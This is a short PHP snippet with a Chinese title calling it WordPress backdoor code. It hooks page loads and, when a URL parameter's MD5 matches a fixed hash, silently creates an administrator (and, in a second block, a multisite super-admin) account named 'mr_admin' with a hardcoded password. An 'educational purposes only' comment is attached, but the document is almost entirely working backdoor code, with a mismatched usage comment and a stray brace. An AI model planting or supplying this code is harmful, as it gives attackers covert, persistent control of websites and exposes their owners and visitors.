WordPress后门代码，仅参考思路，创建管理员

// adds a backdoor into a WordPress install
// source http://www.wpmayor.com/code/how-to-create-a-backdoor-to-a-wordpress-website/
// for educational purposes only
// to generate the user visit //example.com/?go=backdoor
add_action( 'wp_head', 'so_backdoor' );
function so_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
        }
    }
}
// extend the function for creating a super admin user
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
    require( 'wp-includes/registration.php' );
    if ( !username_exists( 'mr_admin' ) ) {
        $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
        $super_admins=get_site_option( 'site_admins', array( 'admin' ) );
        $user = new WP_User( $user_id );
        $user->set_role( 'super-admin' );
        if ( ! in_array( $user->user_login, $super_admins ) ) {
            $super_admins[] = $user->user_login;
            update_site_option( 'site_admins' , $super_admins );
            do_action( 'granted_super_admin', $user_id );
            return true;
        }
    }
}
}